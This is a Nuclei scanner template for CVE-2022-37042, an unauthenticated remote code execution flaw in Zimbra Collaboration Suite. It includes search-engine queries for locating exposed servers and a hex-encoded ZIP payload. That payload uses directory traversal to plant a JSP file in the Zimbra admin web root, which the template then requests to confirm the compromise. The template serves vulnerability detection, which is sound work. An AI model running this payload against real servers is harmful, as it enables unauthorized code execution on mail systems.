id: CVE-2022-37042 info: name: Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution author: _0xf4n9x_,For3stCo1d severity: critical description: | Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925. reference: - https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/ - https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/ - https://github.com/vnhacker1337/CVE-2022-27925-PoC - https://nvd.nist.gov/vuln/detail/CVE-2022-37042 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-37042 cwe-id: CWE-287 metadata: fofa-query: app="zimbra-邮件系统" shodan-query: http.favicon.hash:"1624375939" tags: cve,cve2022,zimbra,rce,unauth,kev requests: - raw: - | POST {{path}} HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded {{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}} - | GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1 Host: {{Hostname}} payloads: path: - /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1 - /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd stop-at-first-match: true req-condition: true matchers: - type: dsl dsl: - 'status_code_1 == 401' - 'status_code_2 == 200' - "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')" condition: and # Enhanced by mp on 2022/10/06